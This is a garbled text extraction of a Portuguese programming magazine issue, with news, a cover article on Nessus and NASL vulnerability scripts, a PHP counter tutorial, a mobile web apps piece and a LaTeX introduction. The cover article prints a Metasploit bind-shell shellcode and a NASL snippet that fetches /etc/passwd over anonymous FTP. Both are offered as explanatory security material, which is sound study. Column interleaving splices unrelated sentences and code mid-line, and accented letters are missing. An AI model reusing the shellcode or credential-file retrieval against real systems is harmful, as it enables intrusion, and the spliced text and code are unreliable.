Você está na página 1de 25

<Editorial>

<ndice>

<03> Notcias
<04> Tema de capa
<10> A programar
<15> Tutorial
<18> GNU/Linux
<20> Projecto
<22> Internet
<24> Em anlise
<25> Blue screen
<26> Comunidade P@P

<Equipa PROGRAMAR>
<Administrao> poca de mudana
deathseeker25 (Rui Maia)
d_pintassilgo (David Pintassilgo) Esta terceira edio da revista apresenta-se como uma transio entre todo o
melSpeedl.ine (Mrcio Lima) trabalho que tem sido continuado at agora e as alteraes que vo sendo
satanuke (Hugo Violante) introduzidas na revista. Nesta edio j se podem notar algumas das
alteraes, principalmente a nvel de contedo. Procurmos equilibrar mais
<Coordenador>
esta edio em termos de pblico alvo dos artigos, tentando abranger mais
neon_prannock (Srgio Santos)
grupos, para alm dos iniciantes em programao. O tema de capa demonstra
<Redaco> isso mesmo, embora seja desconhecido para alguns, insere-se numa rea cada
teckV (Jos Domingos) vez mais importante actualmente e que muitos gostariam de aprofundar.
Ped@ntilva (Pedro Silva)
AriOps (Daniel Correia) Para alm de seces novas, algumas j presentes nesta edio, esperem mais
HecKel (Gil Sousa) novidades para a prxima edio. Iremos continuar a receber e a analisar todo
_nEvermind (Tiago Salgado) o feedback que nos enviarem, de modo a que a evoluo da revista seja o
marceluh (Marcelo Martins) mais positiva possvel.
xplod_me (Joel Calado)
Evil Knievel (Luis Madureira)
A nvel interno, podemos contar com um maior nmero de colaboradores
<Colaboradores> activos, que muito influenciaram os temas que so apresentados nesta edio.
vbmaster (Miguel Pais) Foram tambm levantadas questes importantes sobre o futuro da revista,
palobo (Pedro Lobo) assim como alternativas ao actual sistema de distribuio. Ainda no houveram
decises a longo prazo e esperamos que as reaces, por parte dos leitores, s
<Contacto> futuras edies, venham influenciar essas decises.
revistaprogramar@portugal-a-programar.org
</neon_prannock>

<2>
<Notcias>

A maioria dos portugueses nunca utilizou um


computador
A maioria dos portugueses (53%) nunca utilizou um
computador, apenas 28% navega regularmente na Bill Gates vai dedicar-se a tempo inteiro
Internet e s um tero dos trabalhadores usa tecnologia filantropia
digital na actividade laboral. Estes so os principais
factores que fazem com que Portugal esteja na cauda da Criada em 2000, a Fundao Bill e Melinda Gates
Europa em matria de conhecimentos bsicos de hoje a maior instituio filantrpica do mundo, com
informtica, revela um estudo da Eurostat, ontem um oramento de 30 mil milhes de dlares para
apresentado. programas nas reas da sade e educao destinados
ao terceiro mundo. Mas quando, daqui a dois anos, o
Pior que Portugal apenas se patro da Microsoft passar a dedicar-se a tempo
encontram quatro pases inteiro sua fundao - deciso que anunciou esta
entre os 25 da UE: a Grcia quinta-feira, o saldo s poder ser ainda mais
(65%), a Itlia (59%), a astronmico.
Hungria (57%) e Chipre,
nao que tm a mesma Bill Gates no sai, porm, abruptamente. "Preparmos
percentagem que Portugal uma transio suave durante os prximos dois anos",
de populao sem os especificou. O patro da Microsoft conservar o cargo
"conhecimentos bsicos" de presidente da empresa at l (Julho de 2008) e
para trabalhar com um computador (54%). assegurou que ela "continuar a fazer mil milhes de
dlares de lucros mensalmente". No ano passado, a
O estudo da Eurostat foi realizado em finais de 2005 e tem Microsoft totalizou 12 mil milhes de dlares de lucros
por base um inqurito populao da UE entre os 16 e 74 e teve um volume de negcios da ordem dos 40 mil
anos. No h dados sobre a Blgica, Repblica Checa, milhes de dlares.
Espanha, Frana, Irlanda, Malta, Holanda e Finlndia. Em
termos gerais, os resultados no so animadores para os Actualmente, a fundao distingue-se pelo seu apoio a
dirigentes europeus, j que um tero (37%) da populao trabalhos na rea da sida e sade pblica e na
da UE no sabe trabalhar com computadores. A educao nos pases em desenvolvimentos, com
Dinamarca (90%) e a Sucia (89%) so os pases com atribuio de bolsas, por exemplo, e assistncia a
uma populao mais habilitada a nvel informtico. jovens e crianas desfavorecidos. Resta saber o que
vai mudar quando Bill Gates assumir directamente os
destinos da sua prpria fundao.

Primavera gratuito
A nova aplicao, denominada Primavera Express, poder ser utilizada
gratuitamente por empresas com apenas um posto de trabalho que procurem uma
soluo muito simples para gesto de vendas, de stocks, de contas correntes e de
clientes. Segundo Jos Dionsio, o presidente da Primavera BSS, esta oferta uma
consequncia da evoluo da software house nacional, cujo negcio assenta
actualmente sobretudo nas solues para PME e empresas de grande dimenso.
Apesar de termos evoludo para solues mais complexas, achamos que devemos
continuar a apresentar solues para as micro-empresas, referiu o responsvel.

Segundo Carlos Morais, responsvel pela rea de investigao e desenvolvimento da Primavera BSS, a
verso 7 constitui o maior investimento de sempre da empresa no lanamento de um novo produto. Um
investimento de cerca de 1,5 milhes de euros, que envolveu 50 mil horas de desenvolvimento por parte
de uma equipa de 40 engenheiros.

<3>
<Tema de capa> Segurana e hacking: Scripts NASL

operaes no sistema alvo que no esto autorizadas pelos


administradores. Normalmente esse cdigo executado com
Nessus Attack Scripting as permisses do utilizador do servio/aplicao vulnervel,
Language sendo um dos pontos porque importante a utilizao de
contas com privilgios mnimos para os servios/aplicaes
expostas.
Anlise de Vulnerabilidades
Demonstrao da framework MetaSploit -
http://metasploit.com:55555/PAYLOADS
Introduo
Exemplo de um Payload BSD IA32 Bind Shell
Nos dias de hoje com o nmero crescente de
especialistas a observar de perto os produtos # bsd_ia32_bind - LPORT=4444 Size=104
Encoder=PexFnstenvSub
informticos em uso, introduziu-se uma nova http://metasploit.com
dimenso para a administrao de sistemas my $shellcode =
informticos. A anlise constante e automatizada dos "\x2b\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24
\xf4\x5b\x81\x73\x13\x7b".
sistemas em busca de vulnerabilidades que possam "\x6e\x59\x2b\x83\xeb\xfc\xe2\xf4\x11\x0f
permitir o uso indevido desses mesmos sistemas. \x01\xb2\x29\x06\x49\x29".
"\x6a\x32\xd0\xca\x29\x2c\x0b\x69\x29\x04
\x49\xe6\xfb\xf7\xca\x7a".
As vulnerabilidades so situaes tcnicas nos produtos, sejam "\x28\x3c\x33\x43\x23\xa3\xd9\x9b\x11\xa3
\xd9\x79\x28\x3c\xe9\x35".
aplicaes, sistemas operativos ou equipamentos fsicos e
"\xb6\xee\xce\x41\x79\x37\x33\x71\x23\x3f
permitem a um utilizador mal intencionado (cracker) executar \x0e\x7a\xb6\xee\x10\x52".
determinados procedimentos explorando essas "\x8e\x3e\x31\x04\x54\x1d\x31\x43\x54\x0c
vulnerabilidades, abrindo buracos na segurana de um \x30\x45\xf2\x8d\x09\x7f".
sistema. Muitas vezes as vulnerabilidades so erros ou ms "\x28\x3d\xe9\x10\xb6\xee\x59\x2b";
configuraes que podem permitir entre diversas coisas o
acesso remoto ao sistema e a anulao de funcionalidades e Como podemos verificar existem diversas tcnicas nos dias
servios. So desenvolvidos programas ou tcnicas que tiram correntes que permitem trespassar todas as medidas de
partido das vulnerabilidades sendo conhecidos na comunidade segurana comprometendo com sucesso sistemas informticos
como exploits e os mais apetecveis para o cracker so os que que estejam vulnerveis a certos exploits.
abusam de falhas que permitem a execuo de
cdigo/comandos remotos com recurso a Shell Code. Nos Dias de hoje as vulnerabilidades so descobertas cada vez
mais rpido e os exploits so desenvolvidos e disponibilizados
muitas vezes em dias, tornando-se essencial manuteno de
Podem aprender mais sobre os exploits num site destinado ao um sistema informtico a implementao de um processo de
seu desenvolvimento e uso. Este site disponibiliza uma anlise de vulnerabilidades com a finalidade de alertar para
framework para os auditores de segurana, Red actualizaes ou reconfiguraes dos respectivos sistemas.
Teams/Penetration Testers, facilmente executarem os exploits Tornou-se claro que um processo deste tipo tm de passar
identificando falhas de segurana nos seus clientes permitindo pela implementao de um servio que possa efectuar testes.
que estes sejam corrigidos, normalmente atravs de Existem diversos produtos e vo surgindo cada vez mais, cujo
actualizaes ou alteraes na configurao dos seus sistemas objectivo efectuar esses testes. Existem produtos comerciais
antes que um cracker use essa falha com fins prejudiciais. O de milhares de euros e outros gratuitos sob licenciamento
processo envolve muitas vezes o penetrar com sucesso no GPL, que o caso do Nessus abordado neste artigo. Uns
sistema alvo com autorizao dos proprietrios do sistema, a comerciais muito interessantes so o Saint
famosa Green Card ou Carta Verde. (www.saintcorporation.com) e o CORE Impact. Entre outros
gratuitos destaco o SARA.

O site metasploit (www.metasploit.com) disponibiliza uma


Neste artigo sero abordadas as noes introdutrias do
instalao de demonstrao onde podero ficar com uma ideia
desenvolvimento de scripts NASL. Para dominar esta tcnica
geral destas tcnicas. Uma parte muito importante no explorar
ter de aprofundar o estudo com outros guias ou manuais
de vulnerabilidades so os payloads, shell code, que
referenciados no final deste artigo.
injectado remotamente permitindo a execuo de diversas

<4>
Segurana e hacking: Scripts NASL <Tema de capa>

A deteco automatizada de vulnerabilidades efectua-se em


trs fases distintas.
Nessus Scanner
Detector de Vulnerabilidades em sistemas Scanning (Explorao)
informticos
Nesta fase so efectuados rastreios aos alvos para verificar
Neste artigo vamos abordar a programao de plugins em
quais esto em funcionamento. Podem-se escolher diversos
NASL para incorporar no mecanismo de deteco automtica
mtodos quer inerente ao core do Nessus, quer recorrendo ao
de vulnerabilidade disponibilizado pelo Nessus.
poderoso Nmap. Mesmo os alvos que no respondem no so
anulados da anlise. So analisados portos escuta assim
Porqu o Nessus? como os servios que neles respondem, sendo esta
informao usada mais tarde no decorrer do scan.
O Nessus tm o suporte da comunidade e est ao nvel de
produtos comerciais de milhares de euros. gratuito, sendo Enumerao/Identificao
publicado sob o licenciamento GPL, Open-Source (nas
verses anteriores 3.x) e permite o desenvolvimento de
Nesta fase o Nessus analisa servios de rede tentando obter
testes personalizados recorrendo linguagem de scripting
os banners que revelem informao sobre o software e
NASL (Nessus Attack Scripting Language) ou a sobejamente e
sistema operativo em uso no alvo. Algo essencial ao decorrer
reconhecida linguagem de programao C.
do processo. Nesta fase so enumerados os alvos e podem ser
executados procedimentos de brute-forcing de usernames e
passwords.

Deteco de Vulnerabilidades

O software analisa os servios remotos de acordo com a lista


criada na fase de enumerao, executando os plugins que
contm o cdigo que vai efectuar determinados procedimentos
com vista a determinar se o alvo vulnervel situao
explorada no plugin. So executados plugins que procuram
por diversas vulnerabilidades como validao de introduo de
dados (input validation), buffer-overflows, configuraes no
seguras entre outras.
O Nessus usa uma arquitectura tipo Cliente-Servidor. O
servidor do Nessus, o nessusd, escuta/espera por ligaes dos
clientes que depois de autenticados podem executar os Instalar o Nessus
ataques seleccionados. O Nessus multi-utilizador permitindo
configuraes distintas para utilizadores distintos. Os clientes Para informao sobre a instalao do Nessus consultem o
podem se autenticar por certificados ou password e as guia oficial da Tenable no site oficial do nessus. Est fora do
comunicaes entre o cliente e o servidor so encriptadas. mbito deste artigo quer o processo de instalao quer a
administrao do mecanismo de scans.
O Nessus tm incorporado diversos produtos dos mais
reconhecidos na comunidade de especialistas de segurana http://www.nessus.org/documentation/nessus_3.0_installation
(Hackers) como o Nmap (www.insecure.org) para port/service _guide.pdf
scanner, o soberbo Hydra (http://thc.segfault.net/thc-hydra)
da equipe THC para teste de passwords/autenticaes. O Podem tambm encontrar no site oficial manuais para a
Nessus um pacote de anlise de implementaes de utilizao avanada do Nessus e operao dos clientes Nessus.
segurana e vulnerabilidades extremamente poderoso sendo o
preferido na comunidade e usado em muitas empresas de
renome. http://www.nessus.org/documentation

<5>
<Tema de capa> Segurana e hacking: Scripts NASL

O interpretador de NASL O que o NASL?


Depois de instalado o Nessus, fica disponvel para o utilizador NASL uma linguagem de scripting projectada para o Nessus.
o interpretador de NASL. Procurem no directrio Tem como objectivo permitir que qualquer um escreva um
/usr/local/lib/nessus/plugins/ pelos plugins instalados. Esto teste para um determinada falha de segurana em alguns
em texto simples e podem analis-los para melhor os minutos, para permitir que as comunidades compartilhem os
entenderem. O Nessus executa estes plugins quando o seus testes sem terem que preocupar-se sobre seu sistema
utilizador efectuar um scan com o Nessus. Na configurao do operativo e garante a todos que um script de NASL no pode
scan do nessus definem-se quais os plugins a usar. Para fazer qualquer coisa danosa, excepto executar um teste a uma
executar um script/plugin especfico na linha de comandos use falha de segurana num determinado alvo. Assim, o NASL
o intrpretador de NASL, nasl t a opo -t diz ao permite que forje facilmente pacotes IP (raw packets), ou
interpretador NASL para executar o script/plugin efectuando envie pacotes regulares. Fornece-lhe algumas funes
um scan com esse plugin ao alvo introduzido. Por exemplo, o convenientes que faro os testes de servidores web e ftp mais
finger.nasl efectua uma ligao ao host/alvo remoto no porto fceis de escrever. NASL garante-lhe que:
79 verificando se o daemon do fingerd est em execuo
escutando por ligaes. Para executar este script contra o seu No emitir nenhum pacote para nenhuma outra
prprio servidor, execute: mquina que no o alvo definido
No executar comando no seu sistema local
[notroot]$ nasl -t 127.0.0.1 finger.nasl

O que no o NASL?
atravs do interpretador que o programador pode depurar /
testar o seu script. Ateno que o contexto diferente do NASL no uma linguagem de scripting muito poderosa. Tem
criado pelo scan normal do nessus, estando nomeadamente como finalidade o desenvolvimento de plugins que so testes
certas funcionalidades indisponveis se o script for executado da segurana. Assim, no espere escrever um web server da
directamente no interpretador NASL. terceira gerao nesta lngua, nem uma utilidade da converso
de ficheiros. Use Perl, python ou outra linguagem de
programao para fazer isto - NASL 100 vezes mais rpido
nas suas funes especificas.

As bases: NASL syntax

A sintaxe do NASL muito parecida com a do C, com a


excepo das muitas coisas aborrecidas do C que foram
removidas. No importa o tipo dos objectos, nem necessrio
alocar memria para eles ou libert-la depois de usados. No
necessrio declarar as suas variveis antes de as usar.
Apenas necessrio ao programador focalizar-se no teste de
segurana que quer executar.

Comentrios
O Caracter de comentrio o ' # '. Ele comenta apenas para
fora da linha actual.
Exemplos de comentrios vlidos:

a = 1; # let a = 1
# Set b to 2 :
b = 2;
Fig: Cliente do Nessus e a seleco de plugins/testes de
segurana.

<6>
Segurana e hacking: Scripts NASL <Tema de capa>

Variveis, tipos de variveis, alocamento de


forge_ip_packet(ip_hl : 5, ip_v : 4,
memria, includes ip_p : IPPROTO_TCP);

No necessrio declarar variveis antes de as usar. No forge_ip_packet(ip_p : IPPROTO_TCP,


interessa os tipos variveis. O interpretador de NASL alertar ip_v : 4, ip_hl : 5);
se tentar fazer algo errado, como a adio de um pacote do
IP a um nmero. No necessrio alocar memria nem h
preocupaes com includes, simlesmente porque no h O utilizador ser questionado em run time pelos argumentos
includes. A memria alocada quando necessria. em falta (ip_len, e assim sucessivamente...). Claro que um
teste de segurana no pode interagir com o utilizador, esta
Nmeros e strings pequena situao apenas ser utilizada para debuging.

Os nmeros podem ser introduzidos em diversos formatos:


decimal, hexadecimal, ou binrio. Todas estas linhas esto Funes Annimas
correctas:
As funes annimas so funes com um nico argumento
a = 1204; ou ou argumentos do mesmo tipo/type.
b = 0x0A; ou
Exemplos :
c = 0b001010110110; ou
d = 123 + 0xFF;
send_packet(my_packet);
send_packet(packet1, packet2, packet3);
As strings necessitam de ser colocadas entre pelculas
(quoted). De notar que contrariamente ao C, os caracteres
no so interpolados a no ser que explicitamente pedido
usando a funo string(). Estas funes podem ter opes. A funo send_packet()
espera por uma resposta. Se acha que no necessrio
aguardar pela resposta pode-se desactivar o pcap e aumentar
a = "Hello\nI'm Renaud";
# a igual a "Hello\nI'm Renaud" a velocidade do teste:
b = string("Hello\nI'm Renaud");
# b igual a "Hello
# I'm Renaud" send_packet(packet, use_pcap:FALSE);
c = string(a);
# c igual a b

Ciclos
Funes No Annimas Os ciclos For e While funcionam como no C:
Uma coisa que diferente do C a maneira como o NASL
passa os argumentos de uma funo. Em C, necessrio
For:
saber exactamente a posio dos argumentos. Em NASL isso
no interessa, usando-se nomes para os argumentos e for(instruction_start;condition;end_loop_
quando no se passa um argumento necessrio este pedido instruction)
{
em run time. Tipo, uma funo que usa um argumento que # Alguns comandos aqui.
o IP e outro que o SERVICO ser chamada assim. }
funo(IP:10,SERVICO:http). A ordem em que so
apresentados no interessa e podem ser anulados argumentos
opcionais. ou

Exemplo: A funo forge_ip_packet() necessita de muitos for(instruction_start;condition;end_loop_


elementos. Ambas as seguintes representaes so vlidas: instruction)function();

<7>
<Tema de capa> Segurana e hacking: Scripts NASL

Operadores
While:
Os operadores normais do C funcionam em NASL. So, +,-, *,
while(condition) / e %. Como complemento os operadores binrios | e & so
{ suportados. Existem ainda dois operadores que no existem
# Alguns comandos aqui. no C, que sero abordados a seguir.
}
O operador X
ou
Os ciclos for e while so uma grande ajuda mas consomem
while(condition)function(); tempo e recursos. Imagine que quer enviar uma tempestade
de pacotes SYN. O operador x ir repetir a mesma funo N
vezes num processo extremamente rpido (a mesma
velocidade que o C nativo).
Exemplos: Exemplo:

# Contador de 1 at 10 send_packet(udp) x 10;


for(i=1;i<=10;i=i+1)display("i : ", i,
"\n");
Envia 10 vezes o mesmo pacote. Muito bom mesmo.
# Exemplo com o ciclo while
i = 0;
while(i < 10) O operador ><
{
i = i+1; O operador >< um operador booleano que verifica se a
} string A est includa na string B.
Exemplo:

a = "Nessus";
b = "I use Nessus";
Funes definidas pelo utilizador if(a >< b){
# ser executado desde que a esteja em b
display(a, " existe em ",
NASL suporta funes definidas pelo utilizador: b, "\n");
}
function my_function(argument1,
argument2, ....)

Uma funo definida pelo utilizador tem obrigatoriamente de


As funes de NASL relacionadas com redes
usar argumentos no annimos. NASL no deixar abrir um socket para outro host/alvo que
Exemplo: no seja explicitamente definido pelo teste. S os hosts
mencionados no teste sero alvo de ligaes.
function fact(n)
{
if((n == 0)||(n == 1)) Manipulao de Sockets
return(n);
else Um socket uma maneira de comunicao com outro
return(n*fact(n:n-1)); host/equipamento usando os protocolos TCP ou o UDP.
}
como um tnel ou uma estrada projectada para transmitir
display("5! is ", fact(n:5), "\n"); dados de um porto para outro atravs de um determinado
protocolo. Os portos so como portas (Port pode-se traduzir
como porto ou porta): (ex. port 25 = porta 25 ou porto 25)

<8>
Segurana e hacking: Scripts NASL <Tema de capa>
Como abrir um socket socket. Se no for definido sero enviados at que um
caracter NULL for encontrado.
As funes open_sock_tcp() e open_sock_udp() abrem um
socket TCP ou UDP. Estas duas funes usam argumentos Funes de Alto Nvel encapsulam funes de baixo
annimos. Exemplo:
nvel
# Abrir um socket TCP no porto 80 : NASL disponibiliza vrias funes de alto nivel para protocolos
soc1 = open_sock_tcp(80); como o FTP e WWW.
# Abrir um socket UDP no porto 123 :
soc2 = open_sock_udp(123);
ftp_log_in(socket:<soc>, user:<login>,
pass:<pass>) - tenta logar-se no sistema remoto
As funes retornam 0 caso no seja possvel a ligao.
ftp_get_pasv_port(socket:<soc>) - envia um
Um simples Port Scanner ser assim:
comando <pasv>
is_cgi_installed(<name>) - procura por ficheiros no
start = prompt("First port to scan ? ");
end = prompt("Last port to scan ? "); sistema alvo
for(i=start;i<end;i=i+1)
{ Exemplo www:
soc = open_sock_tcp(i);
if(is_cgi_installed("/robots.txt")){
if(soc) {
display("The file /robots.txt is
display("Port ", i, " is open\n");
present\n");
close(soc);
}
}
if(is_cgi_installed("php.cgi")){
}
display("The CGI php.cgi is
installed in /cgi-bin\n");
}
Fechar um socket if(!is_cgi_installed("/php.cgi")){
display("There is no 'php.cgi' in
A funo close() usada para fechar um socket. Executar the remote web root\n");
internamente um shutdown() antes de realmente fechar o }
socket.
Escrever e ler para um socket. Enviar e receber dados por Exemplo ftp:
comunicao TCP ou UDP soc = open_sock_tcp(21);
if(ftp_log_in(socket:soc, user:"ftp",
A leitura e a escrita atravs de um socket so feitas usando pass:"joe@")) # Log como user anonimo
uma destas funes: {
port = ftp_get_pasv_port(socket:soc);
recv(socket:<socketname>, length:<length> if(port) {
[,timeout : <timeout>) soc2 = open_sock_tcp(port);
data = string("RETR /etc/passwd\r\n");
L <length> bytes do socket <socketname>. Esta funo
send(socket:soc, data:data);
pode ser usada para TCP ou UDP. A opo timeout password_file = recv(socket:soc2,
expressa em segundos. length:10000);
display(password_file);
recv_line(socket:<socketname>,length:<length> [, close(soc2); }
timeout: <timeout>]) close(soc);
}
Esta funo funciona da mesma maneira que o recv(), a no
ser que esta para de ler dados assim que o carcter \n for
lido. Esta funo trabalha somente com socket do TCP. Como poderem ver o NASL permite a criao de testes de
segurana de uma forma simples e eficaz. Com este artigo
send(socket:<socket>, data:<data> [, impossvel ficar a saber desenvolver em NASL mas o meu
length:<length>]) objectivo introduzir-vos no tema para que procurem estudar
em pormenor de modo a dominarem com sucesso o que est
Envia os dados <data> no socket <socket>. O argumento envolvido.
opcional diz funo para enviar apenas [length] bytes no
</teckV>

<9>
<A programar> PHP Uma linguagem dinmica server-side 2

Para escrever no ficheiro mas sem apagar o seu


a
contedo. Escreve no final do ficheiro).
Permite ler e escrever no ficheiro, e o apontador est no
r+
incio do ficheiro.
Permite ler e escrever mas apaga todo o contedo do
w+
ficheiro ao abri-lo.
Funciona como o r+ mas o apontador est no fim do
a+
ficheiro.

N este artigo vamos abordar o PHP um pouco mais Agora que j temos uma pequena noo de ficheiros vou
colocar um pequeno script de um contador muito simples:
fundo. A vantagem das linguagens dinmicas
poder ser usado em qualquer parte de um documento <html
HTML. Ou seja, tm uma pgina HTML com vrios xmlns="http://www.w3.org/1999/xhtml">
<head>
contedos e numa parte do documento querem uma <meta http-equiv="Content-Type"
informao dinmica. content="text/html; charset=iso-8859-1"
/>
Vamos imaginar por exemplo um contador que informa <title>Contador</title>
quantas vezes j visitaram a pgina. Vocs s querem que </head>
uma pequena parte seja dinmica (o contador). Para tal <body>
<p>N&uacute;mero de visitas:
acontecer basta mudar a extenso de uma pgina HTML para
<?php
PHP (exemplo: pagina.html para pagina.php) e onde //nome do ficheiro com o nmero de
queremos colocar cdigo PHP devemos colocar as respectivas visitas
tags <?php cdigo ?>. Exemplo: $nomeFicheiro = 'contador.txt';
//abertura do ficheiro para
<html> leitura'r'
<head> $ler = fopen ($nomeFicheiro, 'r') or
<title>PHP Teste</title> die("No abriu o ficheiro");;
</head> //leitura da primeira linha do
<body> ficheiro
<?php echo "<p>Ol Mundo</p>"; ?> $linha = fgets ($ler);
</body> fclose($ler);
</html> //incremento de visita
$linha++;
//abrir ficheiro para escrita
Para colocarmos um simples contador devemos ter alguns
$escrever = fopen ($nomeFicheiro,
conhecimentos sobre bases de dados ou ento sobre ficheiros. 'w') or die("No abriu o ficheiro");;
Vamos agora abordar a parte dos ficheiros. //escrever no ficheiro
Para abrirmos um ficheiro devemos fazer do seguinte modo: fwrite ($escrever, $linha);
$nomeFicheiro = "teste.txt"; //imprimir o nmero da visita
$ficheiro = fopen($nomeFicheiro, 'X') or print $linha;
die("No abriu o ficheiro"); ?></p>
fclose($ficheiro); </body>
</html>

O fopen() a funo que nos permite abrir um ficheiro. Devem ter em ateno que para que este script funcione
Quando j no vamos precisar mais do ficheiro devemos fazer devidamente na mesma pasta em que colocam este ficheiro
um fclose() para fechar o ficheiro. PHP devem colocar um ficheiro chamado contador.txt e que
Em X devemos definir o que queremos do ficheiro: deve conter apenas um nmero, que inicialmente deve ser o
0, mas que pode ser outra que vocs queiram. Este um
r S para leitura
contador muito simples, a partir deste podem comear a fazer
Para escrever no ficheiro (todo o contedo do ficheiro os vossos scripts com imagens a informar o nmero de visitas.
w ser apagado e escrito o que for mandado nas Boa sorte e bom trabalho, qualquer dvida visitem o frum.
instrues).
</Ped@ntilva>

<10>
Mobilizing Web Applications <A programar>
local (num servidor e com a aplicao a correr, do formato
http://...), indicar a profundidade dos links (quantos links quer
Mobilizao de Aplicaes Web com o M- que sejam seguidos e descarregados para o dispositivo cliente)
Business Anywhere e outras opes para melhor visualizao como, por exemplo,
a apresentao de imagens.

M uitos programadores tm como nico alvo o


desenvolvimento de aplicaes para computadores
Desktop e Laptop mas esquecem-se de uma das plataformas
que nos ltimos anos tem apresentado o maior crescimento a
nvel de mercado: os dispositivos mveis. Pocket PCs,
Smartphones e Palms so os principais dispositivos mveis
actuais, tendo como sistemas operativos nomes como Windows
Mobile, Symbian e Palm OS.

Recentemente realizou-se um workshop exactamente sobre


este tema na Sybase Portugal. Sendo esta a empresa que mais
cota de mercado tem na rea da mobilidade, acho oportuna a
apresentao das principais ferramentas e solues que
permitem a todos os programadores mobilizar as suas
aplicaes web desenvolvidas em qualquer linguagem. Com Para acedermos a esta aplicao no dispositivo mvel
isto, a primeira soluo a apresentar o M-Business precisamos de um pequeno aplicativo chamado AvantGo, que
Anywhere. funciona basicamente como um browser.

Esquerda um exemplo de uma


aplicao web j mobilizada no
AvantGo.

Como podemos visualizar na


imagem, a aplicao est a
correr em modo offline. O leitor
ento questiona-se sobre como
acedida ento a aplicao se
dinmica (em php). simples, o
M-Business apenas envia
AvantGo cdigo cliente, ou seja,
HTML, CSS e JavaScript. Os
formulrios tambm podem ser
Para apresentar esta soluo, vou usar um exemplo prtico. utilizados offline, sendo todos os dados inseridos guardados no
Imaginemos uma empresa com o nome HGI que tem uma Forms Manager e na sincronizao seguinte so enviados para
aplicao web a que todos os seus funcionrios podem aceder o servidor.
e visualizar/submeter informao. Com esta aplicao j
criada, a nica preocupao do programador a de permitir Para concluir, o M-Business tambm tem a possibilidade de
uma boa visualizao num dispositivo mvel. Com o M- criar bases de dados comprimidas a partir de ficheiros xml ou
Business Anywhere basta criar um grupo no painel de bases de dados existentes mesmo na aplicao web, til por
administrao, criar um utilizador nesse mesmo grupo e exemplo para a rea de contactos desta web application que
seguidamente criar um channel. demos em exemplo.

Os channels no so mais do que os canais a que o utilizador


de um determinado grupo (ou todos os utilizadores se Ligaes:
pretendido) tem acesso. Estes channels so muito fceis de http://www.ianywhere.com/developer/mbusiness_anywhere.html
http://www.avantgo.com
criar, sendo apenas preciso dar um nome aplicao, indicar o
</AriOps>

<11>
<A programar> LaTeX

tempo que perdes com o rato a tentar estruturar o teu


documento de forma a ficar minimamente apresentvel, acaba
por se tornar significativo enquanto que com o LaTeX no tens
de te preocupares com nada disso, alguns comandos, algum
texto e uma simples compilao devolve-te um documento
bem apresentado e bem estruturado.

Ento por onde posso comear?


Depende do teu sistema operativo, em windows tens de
instalar o MiKTeX, o compilador de LaTeX para windows,
depois podes comear a criar os teus documentos com
qualquer editor de texto simples, como o notepad, no entanto
LaTeX tens sempre uns bons programas que te facilitam a vida, que
j vm com funes pr-definidas e com os atalhos para os
Uma forma alternativa de criar documentos compiladores. O editor que recomendo shareware no
entanto possvel de usar sem registo, claro que sem as suas
O que o LaTeX? funcionalidades todas, WinEdt.
Em linux tens a vida bem mais facilitada dependendo da tua
O TeX foi criado no final da dcada de 70 por Donald Knuth, distribuio, hoje em dia muitas distribuies j vm com o
na Stanford University. O TeX um programa desenvolvido compilador LaTeX previamente instalado, se no for o caso
para a escrita de texto cientifico e frmulas matemticas, nada como instalar a partir dos repositrios. Para editor
Knuth comeou a desenvolver este sistema em 1977 para recomendo o Kile.
tentar explorar as potencialidades dos sistemas de impresso
digital, principalmente motivado para evitar que os seus Umas ajudas davam jeito, onde posso procurar mais
artigos sofressem alteraes de forma integridade dos informao?
mesmos no ficar corrompida como ele via nos seus livros e No te falta fonte de informao na internet, com o google
artigos. consegues encontrar mesmo muita informao dentro da rea,
no entanto um bom ponto de partida mesmo o CTAN (The
TeX pronunciado "Tech", TeX tambm a primeira slaba da Comprehensive TeX Archive Network) e os demais grupos que
palavra grega texnologia. existem, nomeadamente o TUG (TeX Users Group) e as
diversas mailling lists que se encontram pela internet. Mas
LaTeX um pacote de macros que permite os autores criarem antes de tudo, recomendo a leitura da bblia do LaTeX, The
e imprimirem os seus documentos mais alta qualidade not so Short Introduction to LaTeX.
tipogrfica, o LaTeX foi desenvolvido por Leslie Lamport em
meados da dcada de 80, actualmente mantido por Frank
Mittelback. LaTeX pronunciado "Lay-tech" ou "Lah-tech"

O que posso fazer com o LaTeX?


Podes fazer desde artigos de um jornal, relatrios tcnicos,
livros, apresentaes, cartas, e tudo o que seja relacionado
com elaborao de documentos. O LaTeX facilita-te o uso de
referncias cruzadas, a insero de imagens, criao de
frmulas matemticas, criao de tabelas tudo isto usando
apenas comandos sem teres de andar procura destas
funcionalidades nos menus do teu editor de texto normal.

Tantos comandos no um pouco complicado?


De facto, inicialmente, torna-se um pouco assustador tantos
comandos e a estruturao inicial, no entanto com a prtica
torna-se bastante mais intuitivo do que um editor de texto
WYSIWYG, pois de verso para verso os menus mudam, o

<12>
LaTeX <A programar>

\part{Isto uma parte}


Uma abordagem mais concreta... \chapter{Isto um capitulo}
\section{Isto uma seco}
Hoje em dia este sistema visto com um grande cepticismo
\subsection{Isto uma subseco}
por parte de utilizadores que comearam com sistemas
WYSIWYG, aparentemente mais fcil criar um artigo
sabendo logo como fica o produto final do que ter de Estes comandos alm de serem logo reconhecidos pela tabela
pesquisar e aprender a usar certos blocos de cdigo, no de contedos tambm personalizam o documento de forma
entanto quando se trata de frmulas matemticas perde-se automtica, o caso do \chapter cria esse novo capitulo numa
muito tempo a tentar encontrar uma soluo agradvel ou at nova pgina comeando esse capitulo sensivelmente a 1/3 do
mesmo a soluo certa. Com ferramentas como o LaTeX este topo da folha. E para criar a tabela de contedos basta este
problema desaparece passado pouco tempo, os comandos so comando \tableofcontents que o ndice de captulos, seces e
sempre os mesmos s se variam as combinaes, por afins gerado automaticamente!
exemplo, a famosa Srie de Taylor:
Alm dos documentos tradicionais, tambm possvel criar
$$\sum_{n=0}^{\infty} apresentaes em LaTeX desde os slides mais bsicos a slides
\frac{f^{(n)}(a)}{n!}(x-a)^n $$ complexos ao estilo do PowerPoint em que com a ajuda do
Adobe Acrobat Reader possvel apresentar esses slides sem
Os smbolos $$ delimitam o ambiente matemtica, o smbolo quaisquer problemas de compatibilidade j to conhecidos de
\sum d origem ao smbolo de um somatrio, os smbolos _ e quem anda no mundo das conferncias, com a simples
^ do origem a texto abaixo da linha e acima da linha combinao de teclas Ctrl+L o documento apresentado na
respectivamente, \infty cria o smbolo de infinito, \frac cria tela toda tal como uma apresentao convencional do
uma fraco com 2 parmetros, numerador e denominador. PowerPoint.
Parece difcil ter de decorar isto tudo, mas ao fim de um
documento baseado em frmulas matemticas isto quase
